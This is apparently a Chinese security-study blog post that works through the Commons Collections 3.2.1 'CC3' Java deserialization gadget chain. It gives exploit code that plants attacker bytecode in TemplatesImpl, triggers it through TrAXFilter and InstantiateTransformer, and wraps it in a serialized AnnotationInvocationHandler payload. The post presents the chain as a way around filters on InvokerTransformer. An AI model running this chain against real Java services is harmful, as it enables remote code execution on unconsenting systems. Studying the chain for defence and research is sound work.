参考链接
https://www.bilibili.com/video/BV1Zf4y1F74K
环境搭建
和jdk貌似关系不大,用之前的8u65或者8u71都可以
cc用的3.2.1
利用链分析
寻找链子的过程:
ClassLoader.defineClass()->TemplatesImpl#defineClass()->TemplatesImpl#defineTransletClasses()->
TemplatesImpl#getTransletInstance()->TemplatesImpl#newTransformer()->TrAXFilter#TrAXFilter()
->InstantiateTransformer#transform()->转化为CC1调用xxx.transform()
CC3和之前的链子存在一些差异,总结来说如下:
- 不用InvokerTransformer命令执行,改用defineClass(),利用动态类加载来代码执行
- 使用InstantiateTransformer#transform()来创建想要的实例对象,进而触发动态加载代码块
Exp编写
从defineClass()开始找的过程省略了,就是一直find usage,最后能走进TemplatesImpl。
关于defineClass()为什么能代码执行,去看基础知识的动态类加载。
TemplatesImpl#defineTransletClasses()
这个函数调用了defineClass(),并且由于TemplatesImpl是可序列化的,通过反射去改变像_bytecodes、_class[]这种的参数,可以控制程序的执行流。
defineTransletClasses()还是private的,find usage看哪个函数调用了它。
可以看到三个get开头、第四个字符大写的函数,实际上这里可以联想到fastjson的调用任意getter方法。
这里不深究,后面fastjson反序列化还会调试到这里,这里以getTransletInstance为例。
TemplatesImpl#getTransletInstance()
这里显然用反射控制一下_name就可以把链子串起来了。
getTransletInstance还是private的,再find usage往上找,只有一个结果
TemplatesImpl#newTransformer()
这里终于找到public的方法了,接下来可以去其他类找,谁调用了newTransformer
继续find usage,最终可以找到TrAXFilter#TrAXFilter()
TrAXFilter#TrAXFilter()
这个是个public的构造函数,直接正常创建TrAXFilter对象,就会触发调用链条
到这里我们测试一下是否可以执行代码,Exp如下:
public class TestCC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
//设置变量,确保函数流程走通
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Jasper");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//code是要传的恶意代码
byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//触发调用函数
// templates.newTransformer();
new TrAXFilter(templates);
}
}
现在问题是,怎么构造链子,能创建出一个自己想要的对象?
这里ysosierial的作者在CC3的payload里给出了答案,用InstantiateTransformer#transform。
InstantiateTransformer#transform()
这个类可序列化,transform里有段用反射获取构造函数,然后生成对象的代码,完美符合我们的要求。
传参的细枝末节不细写了,尝试编写Exp:
public class TestCC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
//设置变量,确保函数流程走通
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Jasper");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//code是要传的恶意代码
byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//触发调用函数
// templates.newTransformer();
// new TrAXFilter(templates);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}
转化为调用xxx.transform
现在把问题转化为熟悉的调用xxx.transform,直接用CC1/CC6的链子即可,传参不再细说,最终Exp如下:
public class TestCC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
//设置变量,确保函数流程走通
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Jasper");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//code是要传的恶意代码
byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//触发调用函数
// templates.newTransformer();
// new TrAXFilter(templates);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
//结合CC1-TransformedMap调用instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform("jasper");
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","Jasper");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize();
}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
System.out.println("序列化完成...");
}
public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();
System.out.println("反序列化完成...");
}
}
总结
CC3在CC1、CC6的runtime对象、InvokerTransformer类被过滤时可以用来绕过。
标签:templates,templatesClass,TemplatesImpl,CC3,TrAXFilter,new,class From: https://www.cnblogs.com/sketchpl4ne/p/17641634.html